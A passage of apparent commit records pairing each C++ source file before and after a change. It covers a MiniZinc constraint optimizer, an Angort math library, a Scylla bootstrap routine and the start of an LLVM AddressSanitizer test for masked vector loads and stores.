OptimizeRegistry::CS_REWRITE;\n        } else if (coeffs.size() < al_c->v().size()) {\n          if (coeffs.size()==1 && coeffs[0]==1 && d==0) {\n            rewrite = x[0]();\n            return OptimizeRegistry::CS_REWRITE;\n          }\n          \n          std::vector<Expression*> coeffs_e(coeffs.size());\n          std::vector<Expression*> x_e(coeffs.size());\n          for (unsigned int i=0; i<coeffs.size(); i++) {\n            coeffs_e[i] = IntLit::a(coeffs[i]);\n            x_e[i] = x[i]();\n          }\n          ArrayLit* al_c_new = new ArrayLit(al_c->loc(),coeffs_e);\n          al_c_new->type(Type::parint(1));\n          ArrayLit* al_x_new = new ArrayLit(al_x->loc(),x_e);\n          al_x_new->type(al_x->type());\n          c->args()[0] = al_c_new;\n          c->args()[1] = al_x_new;\n          c->args()[2] = IntLit::a(d);\n        }\n      }\n      return OptimizeRegistry::CS_OK;\n    }\n\n    \n    OptimizeRegistry::ConstraintStatus o_element(EnvI& env, Item* i, Call* c, Expression*& rewrite) {\n      if (c->args()[0]->isa<IntLit>()) {\n        IntVal idx = eval_int(env,c->args()[0]);\n        ArrayLit* al = eval_array_lit(env,c->args()[1]);\n        if (idx < 1 || idx > al->v().size()) {\n          return OptimizeRegistry::CS_FAILED;\n        }\n        Expression* result = al->v()[idx.toInt()-1];\n        std::vector<Expression*> args(2);\n        args[0] = result;\n        args[1] = c->args()[2];\n        Call* eq = new Call(Location(),constants().ids.int_.eq,args);\n        rewrite = eq;\n        return OptimizeRegistry::CS_REWRITE;\n      }\n      return OptimizeRegistry::CS_OK;\n    }\n\n    class Register {\n    public:\n      Register(void) {\n        GCLock lock;\n        Model* m = new Model;\n        ASTString id_element(\"array_int_element\");\n        ASTString id_var_element(\"array_var_int_element\");\n        std::vector<Expression*> e;\n        e.push_back(new StringLit(Location(),id_element));\n        e.push_back(new StringLit(Location(),id_var_element));\n        m->addItem(new ConstraintI(Location(),new ArrayLit(Location(),e)));\n        OptimizeRegistry::registry().reg(constants().ids.int_.lin_eq, o_linear);\n        OptimizeRegistry::registry().reg(constants().ids.int_.lin_le, o_linear);\n        OptimizeRegistry::registry().reg(constants().ids.int_.lin_ne, o_linear);\n        OptimizeRegistry::registry().reg(id_element, o_element);\n        OptimizeRegistry::registry().reg(constants().ids.lin_exp, o_lin_exp);\n        OptimizeRegistry::registry().reg(id_var_element, o_element);\n      }\n    } _r;\n    \n  }\n  \n}<commit_msg>Need to use rewrite when changing linear constraints during optimisation phase<commit_after>\/* -*- mode: C++; c-basic-offset: 2; indent-tabs-mode: nil -*- *\/\n\n\/*\n *  Main authors:\n *     Guido Tack <guido.tack@monash.edu>\n *\/\n\n\/* This Source Code Form is subject to the terms of the Mozilla Public\n * License, v. 2.0. If a copy of the MPL was not distributed with this\n * file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/. *\/\n\n#include <minizinc\/optimize_constraints.hh>\n#include <minizinc\/eval_par.hh>\n#include <minizinc\/flatten_internal.hh>\n\nnamespace MiniZinc {\n\n  void\n  OptimizeRegistry::reg(const MiniZinc::ASTString& call, optimizer opt) {\n    _m.insert(std::make_pair(call, opt));\n  }\n  \n  OptimizeRegistry::ConstraintStatus\n  OptimizeRegistry::process(EnvI& env, MiniZinc::Item* i, MiniZinc::Call* c, Expression*& rewrite) {\n    ASTStringMap<optimizer>::t::iterator it = _m.find(c->id());\n    if (it != _m.end()) {\n      return it->second(env,i,c,rewrite);\n    }\n    return CS_NONE;\n  }\n  \n  OptimizeRegistry&\n  OptimizeRegistry::registry(void) {\n    static OptimizeRegistry reg;\n    return reg;\n  }\n  \n  namespace Optimizers {\n    \n    OptimizeRegistry::ConstraintStatus o_linear(EnvI& env, Item* i, Call* c, Expression*& rewrite) {\n      ArrayLit* al_c = eval_array_lit(env,c->args()[0]);\n      std::vector<IntVal> coeffs(al_c->v().size());\n      for (unsigned int i=0; i<al_c->v().size(); i++) {\n        coeffs[i] = eval_int(env,al_c->v()[i]);\n      }\n      ArrayLit* al_x = eval_array_lit(env,c->args()[1]);\n      std::vector<KeepAlive> x(al_x->v().size());\n      for (unsigned int i=0; i<al_x->v().size(); i++) {\n        x[i] = al_x->v()[i];\n      }\n      IntVal d = 0;\n      simplify_lin<IntLit>(coeffs, x, d);\n      if (coeffs.size()==0) {\n        bool failed;\n        if (c->id()==constants().ids.int_.lin_le) {\n          failed = (d > eval_int(env,c->args()[2]));\n        } else if (c->id()==constants().ids.int_.lin_eq) {\n          failed = (d != eval_int(env,c->args()[2]));\n        } else {\n          failed = (d == eval_int(env,c->args()[2]));\n        }\n        if (failed) {\n          return OptimizeRegistry::CS_FAILED;\n        } else {\n          return OptimizeRegistry::CS_ENTAILED;\n        }\n      } else if (coeffs.size()==1 && (i->isa<ConstraintI>() || i->cast<VarDeclI>()->e()->ti()->domain()==constants().lit_true)) {\n        VarDecl* vd = x[0]()->cast<Id>()->decl();\n        IntSetVal* domain = vd->ti()->domain() ? eval_intset(env,vd->ti()->domain()) : NULL;\n        if (c->id()==constants().ids.int_.lin_eq) {\n          IntVal rd = eval_int(env,c->args()[2])-d;\n          if (rd % coeffs[0] == 0) {\n            IntVal nd = rd \/ coeffs[0];\n            if (domain && !domain->contains(nd))\n              return OptimizeRegistry::CS_FAILED;\n            std::vector<Expression*> args(2);\n            args[0] = x[0](); args[1] = IntLit::a(nd);\n            Call* c = new Call(Location(), constants().ids.int_.eq, args);\n            c->type(Type::varbool());\n            rewrite = c;\n            return OptimizeRegistry::CS_REWRITE;\n          } else {\n            return OptimizeRegistry::CS_FAILED;\n          }\n        } else if (c->id()==constants().ids.int_.lin_le) {\n          IntVal ac = std::abs(coeffs[0]);\n          IntVal rd = eval_int(env,c->args()[2])-d;\n          IntVal ad = std::abs(rd);\n          IntVal nd;\n          if (ad % ac == 0) {\n            nd = rd \/ coeffs[0];\n          } else {\n            double nd_d = static_cast<double>(ad.toInt()) \/ static_cast<double>(ac.toInt());\n            if (coeffs[0] >= 0 && rd >= 0) {\n              nd = std::floor(nd_d);\n            } else if (rd >= 0) {\n              nd = -std::floor(nd_d);\n            } else if (coeffs[0] >= 0) {\n              nd = -std::ceil(nd_d);\n            } else {\n              nd = std::ceil(nd_d);\n            }\n          }\n          bool swapSign = coeffs[0] < 0;\n          if (domain) {\n            if (swapSign) {\n              if (domain->max() < nd) {\n                return OptimizeRegistry::CS_FAILED;\n              }\n              else if (domain->min() >= nd)\n                return OptimizeRegistry::CS_ENTAILED;\n            } else {\n              if (domain->min() > nd) {\n                return OptimizeRegistry::CS_FAILED;\n              }\n              else if (domain->max() <= nd)\n                return OptimizeRegistry::CS_ENTAILED;\n            }\n            std::vector<Expression*> args(2);\n            args[0] = x[0](); args[1] = IntLit::a(nd);\n            if (swapSign)\n              std::swap(args[0], args[1]);\n            Call* nc = new Call(Location(), constants().ids.int_.le, args);\n            nc->type(Type::varbool());\n            rewrite = nc;\n            return OptimizeRegistry::CS_REWRITE;\n          }\n        }\n      } else if (c->id()==constants().ids.int_.lin_eq && coeffs.size()==2  &&\n                 ((coeffs[0]==1 && coeffs[1]==-1) || (coeffs[1]==1 && coeffs[0]==-1)) && eval_int(env,c->args()[2])-d==0) {\n        std::vector<Expression*> args(2);\n        args[0] = x[0](); args[1] = x[1]();\n        Call* c = new Call(Location(), constants().ids.int_.eq, args);\n        rewrite = c;\n        return OptimizeRegistry::CS_REWRITE;\n      }\n      if (coeffs.size() < al_c->v().size()) {\n        std::vector<Expression*> coeffs_e(coeffs.size());\n        std::vector<Expression*> x_e(coeffs.size());\n        for (unsigned int i=0; i<coeffs.size(); i++) {\n          coeffs_e[i] = IntLit::a(coeffs[i]);\n          x_e[i] = x[i]();\n        }\n        ArrayLit* al_c_new = new ArrayLit(al_c->loc(),coeffs_e);\n        al_c_new->type(Type::parint(1));\n        ArrayLit* al_x_new = new ArrayLit(al_x->loc(),x_e);\n        al_x_new->type(al_x->type());\n        \n        std::vector<Expression*> args(3);\n        args[0] = al_c_new;\n        args[1] = al_x_new;\n        args[2] = IntLit::a(eval_int(env,c->args()[2])-d);\n        Call* nc = new Call(Location(), c->id(), args);\n        nc->type(Type::varbool());\n        rewrite = nc;\n        return OptimizeRegistry::CS_REWRITE;\n      }\n      return OptimizeRegistry::CS_OK;\n    }\n\n    OptimizeRegistry::ConstraintStatus o_lin_exp(EnvI& env, Item* i, Call* c, Expression*& rewrite) {\n      if (c->type().isint()) {\n        ArrayLit* al_c = eval_array_lit(env,c->args()[0]);\n        std::vector<IntVal> coeffs(al_c->v().size());\n        for (unsigned int i=0; i<al_c->v().size(); i++) {\n          coeffs[i] = eval_int(env,al_c->v()[i]);\n        }\n        ArrayLit* al_x = eval_array_lit(env,c->args()[1]);\n        std::vector<KeepAlive> x(al_x->v().size());\n        for (unsigned int i=0; i<al_x->v().size(); i++) {\n          x[i] = al_x->v()[i];\n        }\n        IntVal d = eval_int(env,c->args()[2]);\n        simplify_lin<IntLit>(coeffs, x, d);\n        if (coeffs.size()==0) {\n          rewrite = IntLit::a(d);\n          return OptimizeRegistry::CS_REWRITE;\n        } else if (coeffs.size() < al_c->v().size()) {\n          if (coeffs.size()==1 && coeffs[0]==1 && d==0) {\n            rewrite = x[0]();\n            return OptimizeRegistry::CS_REWRITE;\n          }\n          \n          std::vector<Expression*> coeffs_e(coeffs.size());\n          std::vector<Expression*> x_e(coeffs.size());\n          for (unsigned int i=0; i<coeffs.size(); i++) {\n            coeffs_e[i] = IntLit::a(coeffs[i]);\n            x_e[i] = x[i]();\n          }\n          ArrayLit* al_c_new = new ArrayLit(al_c->loc(),coeffs_e);\n          al_c_new->type(Type::parint(1));\n          ArrayLit* al_x_new = new ArrayLit(al_x->loc(),x_e);\n          al_x_new->type(al_x->type());\n          \n          std::vector<Expression*> args(3);\n          args[0] = al_c_new;\n          args[1] = al_x_new;\n          args[2] = IntLit::a(d);\n          Call* nc = new Call(Location(),c->id(),args);\n          nc->type(c->type());\n          rewrite = nc;\n          return OptimizeRegistry::CS_REWRITE;\n        }\n      }\n      return OptimizeRegistry::CS_OK;\n    }\n\n    \n    OptimizeRegistry::ConstraintStatus o_element(EnvI& env, Item* i, Call* c, Expression*& rewrite) {\n      if (c->args()[0]->isa<IntLit>()) {\n        IntVal idx = eval_int(env,c->args()[0]);\n        ArrayLit* al = eval_array_lit(env,c->args()[1]);\n        if (idx < 1 || idx > al->v().size()) {\n          return OptimizeRegistry::CS_FAILED;\n        }\n        Expression* result = al->v()[idx.toInt()-1];\n        std::vector<Expression*> args(2);\n        args[0] = result;\n        args[1] = c->args()[2];\n        Call* eq = new Call(Location(),constants().ids.int_.eq,args);\n        rewrite = eq;\n        return OptimizeRegistry::CS_REWRITE;\n      }\n      return OptimizeRegistry::CS_OK;\n    }\n\n    class Register {\n    public:\n      Register(void) {\n        GCLock lock;\n        Model* m = new Model;\n        ASTString id_element(\"array_int_element\");\n        ASTString id_var_element(\"array_var_int_element\");\n        std::vector<Expression*> e;\n        e.push_back(new StringLit(Location(),id_element));\n        e.push_back(new StringLit(Location(),id_var_element));\n        m->addItem(new ConstraintI(Location(),new ArrayLit(Location(),e)));\n        OptimizeRegistry::registry().reg(constants().ids.int_.lin_eq, o_linear);\n        OptimizeRegistry::registry().reg(constants().ids.int_.lin_le, o_linear);\n        OptimizeRegistry::registry().reg(constants().ids.int_.lin_ne, o_linear);\n        OptimizeRegistry::registry().reg(id_element, o_element);\n        OptimizeRegistry::registry().reg(constants().ids.lin_exp, o_lin_exp);\n        OptimizeRegistry::registry().reg(id_var_element, o_element);\n      }\n    } _r;\n    \n  }\n  \n}<|endoftext|>"}
{"text":"<commit_before>#include <math.h>\n#include <limits.h>\n#include <time.h>\n#include \"angort.h\"\n\nusing namespace angort;\n\/*\n * Mappings for (some) standard maths library functions\n *\/\n\n\n\/\/ macro for helping generate unary float functions\n#define FN(f) a->pushDouble(f(a->popDouble()))\n\n%name math\n\n\n\n%wordargs atan2 dd (y x -- atan2(y,x))\n{\n    a->pushDouble(atan2(p0,p1));\n}\n\n%word round (x -- x to nearest int, as a double)\n{\n    FN(round);\n}\n%word cos (x -- cos x)\n{\n    FN(cos);\n}\n%word sin (x -- sin x)\n{\n    FN(sin);\n}\n%word tan (x -- tan x)\n{\n    FN(tan);\n}\n%word ln (x -- ln x)\n{\n    FN(log);\n}\n%word log (x -- ln x)\n{\n    FN(log10);\n}\n%word log2 (x -- log2 x)\n{\n    FN(log2);\n}\n%word sqrt (x -- sqrt x)\n{\n    FN(sqrt);\n}\n\n%word exp (x -- exp x)\n{\n    FN(exp);\n}\n\n%word pow (x y -- x^y)\n{\n    double y = a->popDouble();\n    double x = a->popDouble();\n    a->pushDouble(pow(x,y));\n}\n\n#define ABS(x) ((x)<0 ? -(x) : (x))\n\n%word abs (x -- abs(x))\n{\n    Value *v = a->popval();\n    if(v->t == Types::tInteger)\n        a->pushInt(ABS(v->toInt()));\n    else if(v->t == Types::tDouble)\n        a->pushDouble(ABS(v->toDouble()));\n    else if(v->t == Types::tLong)\n        a->pushLong(ABS(v->toLong()));\n    else if(v->t == Types::tFloat)\n        a->pushFloat(ABS(v->toFloat()));\n    else \n        throw RUNT(EX_TYPE,\"\").set(\"Bad type for abs(): %s\",v->t->name);\n}\n\n%word fmod (x y -- fmod(x,y))\n{\n    double y = a->popDouble();\n    double x = a->popDouble();\n    a->pushDouble(fmod(x,y));\n}\n\n\n%word srand (time\/none --) set the random number generator seed. \nSets the random number generator seed. If none, use the timestamp.\n{\n    Value *v = a->popval();\n    long t;\n    if(v->isNone())\n        time(&t);\n    else\n        t = v->toInt();\n    srand48_r(t,&a->rnd);\n}\n\n\n%word rand (-- i) stack an integer random number\nStacks an integer random number from 0 to the maximum integer. Typically\nused in \"rand N %\" to give a number from 0 to N-1.\n{\n    long r;\n    lrand48_r(&a->rnd,&r);\n    a->pushInt(r & UINT_MAX);\n}\n\n%word frand (-- random double [0.1])\nUses drand48 to generate a random number from 0 to 1.\n{\n    double r;\n    drand48_r(&a->rnd,&r);\n    a->pushDouble(r);\n}\n\n\n\n\n\/\/ Knuth, TAOCP vol2 p.122\ninline double rand_gauss (Runtime *a,double mean,double sigma) {\n    double v1,v2,s;\n    do {\n        drand48_r(&a->rnd,&v1);\n        v1 = v1*2-1;\n        drand48_r(&a->rnd,&v2);\n        v2 = v2*2-1;\n        s = v1*v1 + v2*v2;\n    } while ( s >= 1.0 );\n    \n    if (s == 0.0)\n        s=0.0;\n    else\n        s=(v1*sqrt(-2.0 * log(s) \/ s));\n    return (s*sigma)+mean;\n}\n\n\/\/ http:\/\/azzalini.stat.unipd.it\/SN\/\ninline double skewnormal(Runtime *a,double location,double scale, double shape){\n    double p = rand_gauss(a,0,1);\n    double q = rand_gauss(a,0,1);\n    if(q>shape*p)\n        p*=-1;\n    return location+scale*p;\n}\n\n%wordargs normrand nn (mean sigma -- normally distributed random number)\nGenerate a normally-distributed random number, as a double.\n{\n    a->pushDouble(rand_gauss(a,p0,p1));\n}\n\n%wordargs skewnormrand nnn (location scale shape -- n) Skew-normal random number\nGenerate a skew-normal distributed random number as a double.\n{\n    a->pushDouble(skewnormal(a,p0,p1,p2));\n}\n\n%init\n{\n    \/\/ set up a constant PI\n    Namespace *ns = a->ang->names.getSpaceByName(\"math\");\n    if(ns->get(\"PI\")<0){\n        int n = ns->addConst(\"PI\",false);\n        Value *v = ns->getVal(n);\n        Types::tDouble->set(v,3.14159265358979323846);\n    }\n    \n}\n<commit_msg>missing trig funcs<commit_after>#include <math.h>\n#include <limits.h>\n#include <time.h>\n#include \"angort.h\"\n\nusing namespace angort;\n\/*\n * Mappings for (some) standard maths library functions\n *\/\n\n\n\/\/ macro for helping generate unary float functions\n#define FN(f) a->pushDouble(f(a->popDouble()))\n\n%name math\n\n\n\n%wordargs atan2 dd (y x -- atan2(y,x))\n{\n    a->pushDouble(atan2(p0,p1));\n}\n\n%word round (x -- x to nearest int, as a double)\n{\n    FN(round);\n}\n%word cos (x -- cos x)\n{\n    FN(cos);\n}\n%word sin (x -- sin x)\n{\n    FN(sin);\n}\n%word tan (x -- tan x)\n{\n    FN(tan);\n}\n%word acos (x -- cos x)\n{\n    FN(acos);\n}\n%word asin (x -- sin x)\n{\n    FN(asin);\n}\n%word atan (x -- tan x)\n{\n    FN(atan);\n}\n%word ln (x -- ln x)\n{\n    FN(log);\n}\n%word log (x -- ln x)\n{\n    FN(log10);\n}\n%word log2 (x -- log2 x)\n{\n    FN(log2);\n}\n%word sqrt (x -- sqrt x)\n{\n    FN(sqrt);\n}\n\n%word exp (x -- exp x)\n{\n    FN(exp);\n}\n\n%word pow (x y -- x^y)\n{\n    double y = a->popDouble();\n    double x = a->popDouble();\n    a->pushDouble(pow(x,y));\n}\n\n#define ABS(x) ((x)<0 ? -(x) : (x))\n\n%word abs (x -- abs(x))\n{\n    Value *v = a->popval();\n    if(v->t == Types::tInteger)\n        a->pushInt(ABS(v->toInt()));\n    else if(v->t == Types::tDouble)\n        a->pushDouble(ABS(v->toDouble()));\n    else if(v->t == Types::tLong)\n        a->pushLong(ABS(v->toLong()));\n    else if(v->t == Types::tFloat)\n        a->pushFloat(ABS(v->toFloat()));\n    else \n        throw RUNT(EX_TYPE,\"\").set(\"Bad type for abs(): %s\",v->t->name);\n}\n\n%word fmod (x y -- fmod(x,y))\n{\n    double y = a->popDouble();\n    double x = a->popDouble();\n    a->pushDouble(fmod(x,y));\n}\n\n\n%word srand (time\/none --) set the random number generator seed. \nSets the random number generator seed. If none, use the timestamp.\n{\n    Value *v = a->popval();\n    long t;\n    if(v->isNone())\n        time(&t);\n    else\n        t = v->toInt();\n    srand48_r(t,&a->rnd);\n}\n\n\n%word rand (-- i) stack an integer random number\nStacks an integer random number from 0 to the maximum integer. Typically\nused in \"rand N %\" to give a number from 0 to N-1.\n{\n    long r;\n    lrand48_r(&a->rnd,&r);\n    a->pushInt(r & UINT_MAX);\n}\n\n%word frand (-- random double [0.1])\nUses drand48 to generate a random number from 0 to 1.\n{\n    double r;\n    drand48_r(&a->rnd,&r);\n    a->pushDouble(r);\n}\n\n\n\n\n\/\/ Knuth, TAOCP vol2 p.122\ninline double rand_gauss (Runtime *a,double mean,double sigma) {\n    double v1,v2,s;\n    do {\n        drand48_r(&a->rnd,&v1);\n        v1 = v1*2-1;\n        drand48_r(&a->rnd,&v2);\n        v2 = v2*2-1;\n        s = v1*v1 + v2*v2;\n    } while ( s >= 1.0 );\n    \n    if (s == 0.0)\n        s=0.0;\n    else\n        s=(v1*sqrt(-2.0 * log(s) \/ s));\n    return (s*sigma)+mean;\n}\n\n\/\/ http:\/\/azzalini.stat.unipd.it\/SN\/\ninline double skewnormal(Runtime *a,double location,double scale, double shape){\n    double p = rand_gauss(a,0,1);\n    double q = rand_gauss(a,0,1);\n    if(q>shape*p)\n        p*=-1;\n    return location+scale*p;\n}\n\n%wordargs normrand nn (mean sigma -- normally distributed random number)\nGenerate a normally-distributed random number, as a double.\n{\n    a->pushDouble(rand_gauss(a,p0,p1));\n}\n\n%wordargs skewnormrand nnn (location scale shape -- n) Skew-normal random number\nGenerate a skew-normal distributed random number as a double.\n{\n    a->pushDouble(skewnormal(a,p0,p1,p2));\n}\n\n%init\n{\n    \/\/ set up a constant PI\n    Namespace *ns = a->ang->names.getSpaceByName(\"math\");\n    if(ns->get(\"PI\")<0){\n        int n = ns->addConst(\"PI\",false);\n        Value *v = ns->getVal(n);\n        Types::tDouble->set(v,3.14159265358979323846);\n    }\n    \n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * Licensed to the Apache Software Foundation (ASF) under one\n * or more contributor license agreements.  See the NOTICE file\n * distributed with this work for additional information\n * regarding copyright ownership.  The ASF licenses this file\n * to you under the Apache License, Version 2.0 (the\n * \"License\"); you may not use this file except in compliance\n * with the License.  You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n * Modified by Cloudius Systems\n * Copyright 2015 Cloudius Systems\n *\/\n\n\/*\n * This file is part of Scylla.\n *\n * Scylla is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Affero General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * Scylla is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with Scylla.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n\n#include \"dht\/boot_strapper.hh\"\n#include \"service\/storage_service.hh\"\n\nnamespace dht {\n\nfuture<> boot_strapper::bootstrap() {\n    \/\/ FIXME: Stream data from other nodes\n    service::get_local_storage_service().finish_bootstrapping();\n    return make_ready_future<>();\n#if 0\n    if (logger.isDebugEnabled())\n        logger.debug(\"Beginning bootstrap process\");\n\n    RangeStreamer streamer = new RangeStreamer(tokenMetadata, tokens, address, \"Bootstrap\");\n    streamer.addSourceFilter(new RangeStreamer.FailureDetectorSourceFilter(FailureDetector.instance));\n\n    for (String keyspaceName : Schema.instance.getNonSystemKeyspaces())\n    {\n        AbstractReplicationStrategy strategy = Keyspace.open(keyspaceName).getReplicationStrategy();\n        streamer.addRanges(keyspaceName, strategy.getPendingAddressRanges(tokenMetadata, tokens, address));\n    }\n\n    try\n    {\n        streamer.fetchAsync().get();\n        StorageService.instance.finishBootstrapping();\n    }\n    catch (InterruptedException e)\n    {\n        throw new RuntimeException(\"Interrupted while waiting on boostrap to complete. Bootstrap will have to be restarted.\");\n    }\n    catch (ExecutionException e)\n    {\n        throw new RuntimeException(\"Error during boostrap: \" + e.getCause().getMessage(), e.getCause());\n    }\n#endif\n}\n\nstd::unordered_set<token> boot_strapper::get_bootstrap_tokens(token_metadata metadata, database& db) {\n#if 0\n    Collection<String> initialTokens = DatabaseDescriptor.getInitialTokens();\n    \/\/ if user specified tokens, use those\n    if (initialTokens.size() > 0)\n    {\n        logger.debug(\"tokens manually specified as {}\",  initialTokens);\n        List<Token> tokens = new ArrayList<Token>(initialTokens.size());\n        for (String tokenString : initialTokens)\n        {\n            Token token = StorageService.getPartitioner().getTokenFactory().fromString(tokenString);\n            if (metadata.getEndpoint(token) != null)\n                throw new ConfigurationException(\"Bootstrapping to existing token \" + tokenString + \" is not allowed (decommission\/removenode the old node first).\");\n            tokens.add(token);\n        }\n        return tokens;\n    }\n#endif\n    size_t num_tokens = db.get_config().num_tokens();\n    if (num_tokens < 1) {\n        throw std::runtime_error(\"num_tokens must be >= 1\");\n    }\n\n    \/\/ if (numTokens == 1)\n    \/\/     logger.warn(\"Picking random token for a single vnode.  You should probably add more vnodes; failing that, you should probably specify the token manually\");\n\n    return get_random_tokens(metadata, num_tokens);\n}\n\nstd::unordered_set<token> boot_strapper::get_random_tokens(token_metadata metadata, size_t num_tokens) {\n    std::unordered_set<token> tokens;\n    while (tokens.size() < num_tokens) {\n        auto token = global_partitioner().get_random_token();\n        auto ep = metadata.get_endpoint(token);\n        if (!ep) {\n            tokens.emplace(token);\n        }\n    }\n    return tokens;\n}\n\n\n} \/\/ namespace dht\n<commit_msg>boot_strapper: Add debug info for get_bootstrap_tokens<commit_after>\/*\n * Licensed to the Apache Software Foundation (ASF) under one\n * or more contributor license agreements.  See the NOTICE file\n * distributed with this work for additional information\n * regarding copyright ownership.  The ASF licenses this file\n * to you under the Apache License, Version 2.0 (the\n * \"License\"); you may not use this file except in compliance\n * with the License.  You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n * Modified by Cloudius Systems\n * Copyright 2015 Cloudius Systems\n *\/\n\n\/*\n * This file is part of Scylla.\n *\n * Scylla is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Affero General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * Scylla is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with Scylla.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n\n#include \"dht\/boot_strapper.hh\"\n#include \"service\/storage_service.hh\"\n\nnamespace dht {\n\nfuture<> boot_strapper::bootstrap() {\n    \/\/ FIXME: Stream data from other nodes\n    service::get_local_storage_service().finish_bootstrapping();\n    return make_ready_future<>();\n#if 0\n    if (logger.isDebugEnabled())\n        logger.debug(\"Beginning bootstrap process\");\n\n    RangeStreamer streamer = new RangeStreamer(tokenMetadata, tokens, address, \"Bootstrap\");\n    streamer.addSourceFilter(new RangeStreamer.FailureDetectorSourceFilter(FailureDetector.instance));\n\n    for (String keyspaceName : Schema.instance.getNonSystemKeyspaces())\n    {\n        AbstractReplicationStrategy strategy = Keyspace.open(keyspaceName).getReplicationStrategy();\n        streamer.addRanges(keyspaceName, strategy.getPendingAddressRanges(tokenMetadata, tokens, address));\n    }\n\n    try\n    {\n        streamer.fetchAsync().get();\n        StorageService.instance.finishBootstrapping();\n    }\n    catch (InterruptedException e)\n    {\n        throw new RuntimeException(\"Interrupted while waiting on boostrap to complete. Bootstrap will have to be restarted.\");\n    }\n    catch (ExecutionException e)\n    {\n        throw new RuntimeException(\"Error during boostrap: \" + e.getCause().getMessage(), e.getCause());\n    }\n#endif\n}\n\nstd::unordered_set<token> boot_strapper::get_bootstrap_tokens(token_metadata metadata, database& db) {\n#if 0\n    Collection<String> initialTokens = DatabaseDescriptor.getInitialTokens();\n    \/\/ if user specified tokens, use those\n    if (initialTokens.size() > 0)\n    {\n        logger.debug(\"tokens manually specified as {}\",  initialTokens);\n        List<Token> tokens = new ArrayList<Token>(initialTokens.size());\n        for (String tokenString : initialTokens)\n        {\n            Token token = StorageService.getPartitioner().getTokenFactory().fromString(tokenString);\n            if (metadata.getEndpoint(token) != null)\n                throw new ConfigurationException(\"Bootstrapping to existing token \" + tokenString + \" is not allowed (decommission\/removenode the old node first).\");\n            tokens.add(token);\n        }\n        return tokens;\n    }\n#endif\n    size_t num_tokens = db.get_config().num_tokens();\n    if (num_tokens < 1) {\n        throw std::runtime_error(\"num_tokens must be >= 1\");\n    }\n\n    \/\/ if (numTokens == 1)\n    \/\/     logger.warn(\"Picking random token for a single vnode.  You should probably add more vnodes; failing that, you should probably specify the token manually\");\n\n    auto tokens = get_random_tokens(metadata, num_tokens);\n    logger.debug(\"Get bootstrap_tokens={}\", tokens);\n    return tokens;\n}\n\nstd::unordered_set<token> boot_strapper::get_random_tokens(token_metadata metadata, size_t num_tokens) {\n    std::unordered_set<token> tokens;\n    while (tokens.size() < num_tokens) {\n        auto token = global_partitioner().get_random_token();\n        auto ep = metadata.get_endpoint(token);\n        if (!ep) {\n            tokens.emplace(token);\n        }\n    }\n    return tokens;\n}\n\n\n} \/\/ namespace dht\n<|endoftext|>"}
{"text":"<commit_before>\/\/ We need optimization to convert target-specific masked loads\/stores to llvm\n\/\/ generic loads\/stores\n\/\/ RUN: %clangxx_asan -o %t %s -mavx -O1\n\/\/ RUN: not %run %t l1 2>&1 | FileCheck -check-prefix=CHECK-L1 %s\n\/\/ RUN: %run %t l6 | FileCheck -check-prefix=CHECK-L6 %s\n\/\/ RUN: %run %t la | FileCheck -check-prefix=CHECK-LA %s\n\/\/ RUN: not %run %t s1 2>&1 | FileCheck -check-prefix=CHECK-S1 %s\n\/\/ RUN: %run %t s6 | FileCheck -check-prefix=CHECK-S6 %s\n\/\/ RUN: %run %t sa | FileCheck -check-prefix=CHECK-SA %s\n\/\/ REQUIRES: x86-target-arch\n#include <assert.h>\n#include <stdio.h>\n#include <x86intrin.h>\n\nfloat g_vec3[3] = {1802398064.0, 1881171305.0, 25961.0};\n\nvoid maskedstore_ps_0110(__m128 a) {\n  _mm_maskstore_ps(g_vec3, (__v4si){0, -1, -1, 0}, a);\n}\n\nvoid maskedstore_ps_0001(__m128 a) {\n  _mm_maskstore_ps(g_vec3, (__v4si){0, 0, 0, -1}, a);\n}\n\nvoid maskedstore_ps_1010(__m128 a) {\n  _mm_maskstore_ps(g_vec3, (__v4si){-1, 0, -1, 0}, a);\n}\n\n__m128i maskedload_ps_0110() {\n  return _mm_maskload_ps(g_vec3, (__v4si){0, -1, -1, 0});\n}\n\n__m128i maskedload_ps_0001() {\n  return _mm_maskload_ps(g_vec3, (__v4si){0, 0, 0, -1});\n}\n\n__m128i maskedload_ps_1010() {\n  return _mm_maskload_ps(g_vec3, (__v4si){-1, 0, -1, 0});\n}\n\n__m128 a = (__v4sf){1.0, 2.0, 3.0, 4.0};\n\nvoid print_vector(__v4sf v) {\n  printf(\"%d,%d,%d,%d\\n\", (int)v[0], (int)v[1], (int)v[2], (int)v[3]);\n}\nvoid print_vector3(float * v) {\n  printf(\"%d,%d,%d\\n\", (int)v[0], (int)v[1], (int)v[2]);\n}\n\nint main(int argc, char **argv) {\n  assert(argc > 1);\n  bool isLoad = argv[1][0] == 'l';\n  assert(isLoad || argv[1][0] == 's');\n  if (isLoad) {\n    switch (argv[1][1]) {\n    case '1': {\n      \/\/ CHECK-L1: ERROR: AddressSanitizer\n      __v4sf v = maskedload_ps_0001();\n      